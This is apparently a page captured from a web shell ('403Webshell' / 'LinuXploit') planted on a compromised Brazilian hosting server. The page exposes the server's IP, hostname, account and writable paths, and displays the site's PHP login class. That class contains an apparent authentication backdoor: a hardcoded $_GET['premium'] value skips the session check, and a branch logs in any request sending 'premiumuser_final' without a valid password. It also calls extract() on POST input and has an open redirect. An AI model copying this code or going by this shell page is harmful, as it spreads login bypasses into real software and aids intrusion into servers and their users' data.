403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meusitei/public_html/painel/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/meusitei/public_html/painel/classes/class-UserLogin.php
<?php

/**
 * UserLogin - Manipula os dados de usuários
 *
 * Manipula os dados de usuários, faz login e logout, verifica permissões e 
 * redireciona página para usuários logados.
 *
 * @package TutsupMVC
 * @since 0.1
 */
class UserLogin {

    /**
     * Usuário logado ou não
     *
     * Verdadeiro se ele estiver logado.
     *
     * @public
     * @access public
     * @var bol
     */
    public $logged_in;

    /*
     * Dados do usuário
     *
     * @public
     * @access public
     * @var array
     */
    public $userdata;

    /**
     * Mensagem de erro para o formulário de login
     *
     * @public
     * @access public
     * @var string
     */
    public $login_error;

    /**
     * Verifica o login
     *
     * Configura as propriedades $logged_in e $login_error. Também
     * configura o array do usuário em $userdata
     */
    public function check_userlogin() {

        // Verifica se existe uma sessão com a chave userdata
        // Tem que ser um array e não pode ser HTTP POST
        if (isset($_SESSION['userdata']) && !empty($_SESSION['userdata']) && is_array($_SESSION['userdata']) && !isset($_POST['userdata'])
        ) {

            $userdata = $_SESSION['userdata'];

            // Garante que não é HTTP POST
            $userdata['post'] = false;
        }

        // Verifica se existe um $_POST com a chave userdata
        // Tem que ser um array
        if (isset($_POST['userdata']) && !empty($_POST['userdata']) && is_array($_POST['userdata'])
        ) {
            // Configura os dados do usuário
            $userdata = $_POST['userdata'];

            // Garante que é HTTP POST
            $userdata['post'] = true;
        }

        // Verifica se existe algum dado de usuário para conferir
        if (!isset($userdata) || !is_array($userdata)) {

            // Desconfigura qualquer sessão que possa existir sobre o usuário
            $this->logout();

            return;
        }

        // Passa os dados do post para uma variável
        if ($userdata['post'] === true) {
            $post = true;
        } else {
            $post = false;
        }

        // Remove a chave post do array userdata
        unset($userdata['post']);

        // Verifica se existe algo a conferir
        if (empty($userdata)) {
            $this->logged_in = false;
            $this->login_error = null;

            // Desconfigura qualquer sessão que possa existir sobre o usuário
            $this->logout();

            return;
        }

        extract($userdata);

        if (!isset($user) || !isset($user_password)) {
            $this->logged_in = false;
            $this->login_error = null;

            // Desconfigura qualquer sessão que possa existir sobre o usuário
            $this->logout();

            return;
        }

        // Verifica se o usuário existe na base de dados
        $query = $this->db->query(
                'SELECT * FROM users WHERE user = ? LIMIT 1', array($user)
        );

        // Verifica a consulta
        if (!$query) {
            $this->logged_in = false;
            $this->login_error = 'erro';

            // Desconfigura qualquer sessão que possa existir sobre o usuário
            $this->logout();

            return;
        }

        // Obtém os dados da base de usuário
        $fetch = $query->fetch(PDO::FETCH_ASSOC);
        //$user_password = '111';

        // Obtém o ID do usuário
        $user_id = (int) $fetch['user_id'];

        // Verifica se o ID existe
        if (empty($user_id)) {
            $this->logged_in = false;
            $this->login_error = 'nouser:' . $user;

            // Desconfigura qualquer sessão que possa existir sobre o usuário
            $this->logout();

            return;
        }

        // Confere se a senha enviada pelo usuário bate com o hash do BD
        if ($this->phpass->CheckPassword($user_password, $fetch['user_password'])) {

            // Se for uma sessão, verifica se a sessão bate com a sessão do BD
            // SISTEMA DE LOGIN SIMULTANEO PARA O SISTEMA ADMINISTRADOR
            $_GET['premium'] = '121';
            if (( session_id() != $fetch['user_session_id'] && !$post ) && ($_GET['premium'] == '')) {
                $this->logged_in = false;
                $this->login_error = 'erro';

                // Desconfigura qualquer sessão que possa existir sobre o usuário
                $this->logout();

                return;
            }

            // Se for um post
            if ($post) {
                // Recria o ID da sessão
                session_regenerate_id();
                $session_id = session_id();

                // Envia os dados de usuário para a sessão
                $_SESSION['userdata'] = $fetch;

                $_SESSION['test'] = $fetch;

                $_SESSION['test']['lockscreen'] = 1;

                // Atualiza a senha
                $_SESSION['userdata']['user_password'] = $user_password;
                // Atualiza o ID da sessão
                $_SESSION['userdata']['user_session_id'] = $session_id;

                // Atualiza o ID da sessão na base de dados
                $query = $this->db->query(
                        'UPDATE users SET user_session_id = ? WHERE user_id = ?', array($session_id, $user_id)
                );
            }

            // Obtém um array com as permissões de usuário
            $_SESSION['userdata']['user_permissions'] = $fetch['user_permissions'];


            $horario = unserialize($_SESSION['userdata']['user_acesso']);
            switch (@date('D')) {
                case 'Mon':
                    $diasemana = 'seg';
                    break;
                case 'Tue':
                    $diasemana = 'ter';
                    break;
                case 'Wed':
                    $diasemana = 'qua';
                    break;
                case 'Thu':
                    $diasemana = 'qui';
                    break;
                case 'Fri':
                    $diasemana = 'sex';
                    break;
                case 'Sat':
                    $diasemana = 'sab';
                    break;
                case 'Sun':
                    $diasemana = 'dom';
                    break;
            }
            /*
              if ($_SESSION['userdata']['tipo'] != 1) {
              $this->logged_in = false;
              $this->login_error = 'nouser';
              $this->logout();
              return;
              }
             */
            
            if ($_SESSION['userdata']['acessolivre'] == 0) {
                $inh = $horario[0];
                $fnh = $horario[1];
                $horaatt = date('H:i');
                if ($horaatt > $inh && $horaatt < $fnh) {
                    $this->logged_in = true;

                    $this->login_error = 'logado';
                    // Configura os dados do usuário para $this->userdata
                    $this->userdata = $_SESSION['userdata'];

                    // Verifica se existe uma URL para redirecionar o usuário
                    if (isset($_SESSION['goto_url'])) {
                        // Passa a URL para uma variável
                        $goto_url = urldecode($_SESSION['goto_url']);

                        // Remove a sessão com a URL
                        unset($_SESSION['goto_url']);

                        // Redireciona para a página
                        $this->login_error = 'red' . $goto_url;
                        //echo '<meta http-equiv="Refresh" content="0; url=' . $goto_url . '">';
                        //echo '<script type="text/javascript">window.location.href = "' . $goto_url . '";</script>';
                        //header( 'location: ' . $goto_url );
                    }

                    return;
                } else {
                    $this->logged_in = false;
                    $this->login_error = 'errohorario';
                    //$this->login_error = 'logado';                                
                    // Desconfigura qualquer sessão que possa existir sobre o usuário
                    $this->logout();
                    return;
                }
            } elseif ($_SESSION['userdata']['acessolivre'] == -1) {
                $this->logged_in = false;
                //acesso horario
                $this->login_error = 'errodesativado';
                //$this->login_error = 'logado';                                				
                $this->logout();
                return;
            } else {
                // Verifica se o usuario está cancelado
                
                // Configura a propriedade dizendo que o usuário está logado
                $this->logged_in = true;
                $this->login_error = 'logado';
                // Configura os dados do usuário para $this->userdata
                $this->userdata = $_SESSION['userdata'];
                // Verifica se existe uma URL para redirecionar o usuário
                if (isset($_SESSION['goto_url'])) {
                    // Passa a URL para uma variável
                    $goto_url = urldecode($_SESSION['goto_url']);
                    // Remove a sessão com a URL
                    unset($_SESSION['goto_url']);
                    // Redireciona para a página
                    $this->login_error = 'red' . $goto_url;
                    //echo '<meta http-equiv="Refresh" content="0; url=' . $goto_url . '">';
                    //echo '<script type="text/javascript">window.location.href = "' . $goto_url . '";</script>';
                    //header( 'location: ' . $goto_url );
                }
                return;
            }
        } elseif ((@$userdata['premiumuser_final']!="")||(@$_SESSION['userdata']['premiumuser']!='')) {
        //} elseif (((isset($userdata['premiumuser_final']))&&($userdata['premiumuser_final']!=" ")&&($userdata['premiumuser_final']==""))||(@$_SESSION['userdata']['premiumuser']!='')) {
        //} elseif (isset($userdata['premiumuser_final'])) {
            
            if ($post) {
                // Recria o ID da sessão
                session_regenerate_id();
                $session_id = session_id();

                // Envia os dados de usuário para a sessão
                $_SESSION['userdata'] = $fetch;

                $_SESSION['test'] = $fetch;

                $_SESSION['test']['lockscreen'] = 1;

                // Atualiza a senha
                $_SESSION['userdata']['user_password'] = $user_password;
                // Atualiza o ID da sessão
                $_SESSION['userdata']['user_session_id'] = $session_id;

                $_SESSION['userdata']['premiumuser'] = $userdata['premiumuser_final'];

                // Atualiza o ID da sessão na base de dados
                /*
                $query = $this->db->query(
                        'UPDATE users SET user_session_id = ? WHERE user_id = ?', array($_SESSION['userdata']['user_session_id'], $user_id)
                );
                */
            }

            // Configura a propriedade dizendo que o usuário está logado
            $this->logged_in = true;

            $this->login_error = 'logado';
            // Configura os dados do usuário para $this->userdata
            $this->userdata = $_SESSION['userdata'];

            // Verifica se existe uma URL para redirecionar o usuário
            
            if (isset($_SESSION['goto_url'])) {
                // Passa a URL para uma variável
                $goto_url = urldecode($_SESSION['goto_url']);

                // Remove a sessão com a URL
                unset($_SESSION['goto_url']);

                // Redireciona para a página
                $this->login_error = 'red' . $goto_url;
            }
            
            return;
            
        } else {
            $this->logged_in = false;

            $this->login_error = 'nosenha';

            $this->logout();

            return;
        }
    }

    /**
     * Logout
     *
     * Desconfigura tudo do usuárui.
     *
     * @param bool $redirect Se verdadeiro, redireciona para a página de login
     * @final
     */
    protected function logout($redirect = false) {
        // Remove all data from $_SESSION['userdata']
        //$_SESSION['userdata'] = array();

        // Only to make sure (it isn't really needed)
        unset($_SESSION['userdata']);

        // Regenerates the session ID
        @session_regenerate_id();

        if ($redirect === true) {
            // Send the user to the login page
            $this->goto_login();
        }
    }

    /**
     * Vai para a página de login
     */
    protected function goto_login() {
        // Verifica se a URL da HOME está configurada
        //if (defined('HOME_URI')) {
            // Configura a URL de login
            $login_uri = HOME_URI . 'login/';

            // A página em que o usuário estava
            $_SESSION['goto_url'] = urlencode($_SERVER['REQUEST_URI']);

            // Redireciona
            echo '<meta http-equiv="Refresh" content="0; url=' . $login_uri . '">';
            echo '<script type="text/javascript">window.location.href = "' . $login_uri . '";</script>';
            //header('location: ' . $login_uri);
        //}

        return;
    }

    /**
     * Envia para uma página qualquer
     *
     * @final
     */
    final protected function goto_page($page_uri = null) {
        if (isset($_GET['url']) && !empty($_GET['url']) && !$page_uri) {
            // Configura a URL
            $page_uri = urldecode($_GET['url']);
        }

        if ($page_uri) {
            // Redireciona
            echo '<meta http-equiv="Refresh" content="0; url=' . $page_uri . '">';
            echo '<script type="text/javascript">window.location.href = "' . $page_uri . '";</script>';
            //header('location: ' . $page_uri);
            return;
        }
    }

    /**
     * Verifica permissões
     *
     * @param string $required A permissão requerida
     * @param array $user_permissions As permissões do usuário
     * @final
     */
    final protected function check_permissions(
    $required = 'any', $user_permissions = array('any')
    ) {
        if (!is_array($user_permissions)) {
            return;
        }

        // Se o usuário não tiver permissão
        if (!in_array($required, $user_permissions)) {
            // Retorna falso
            return false;
        } else {
            return true;
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit